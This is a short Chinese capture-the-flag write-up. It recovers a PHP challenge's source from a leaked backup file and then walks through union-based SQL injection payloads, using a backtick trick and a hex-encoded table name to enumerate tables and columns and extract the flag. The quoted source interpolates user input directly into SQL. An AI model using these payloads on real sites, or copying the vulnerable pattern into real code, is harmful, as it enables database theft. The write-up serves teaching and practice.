题目提示先获得源码,首先考虑源码泄露,运气比较好
尝试了index.php~
直接获得了源码
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
发现这里使用了反引号,比较特别,去百度了一下,发现下面两行代码是等价的
desc abc
desc abc `abc`
因为反引号中的字符串会被当成表解析,这里只要前者表存在,即可运行,这里应该就是考察点了
那么开始注入
payload:
?table=test` ` union select database()
正常回显,加入limit 1,1
,成功得到数据库名:61d300
paylaod:
?table=test` ` union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
成功得到数据表名:secret_flag,secret_test
?table=test` ` union select group_concat(column_name) from information_schema.columns where table_name=secret_flag limit 1,1
失败,考虑flag被过滤
?table=test` ` union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
成功得到列名:flagUwillNeverKnow
?table=test` ` union select flagUwillNeverKnow from secret_flag limit 1,1
getFlag:flag{luckyGame~}
网友评论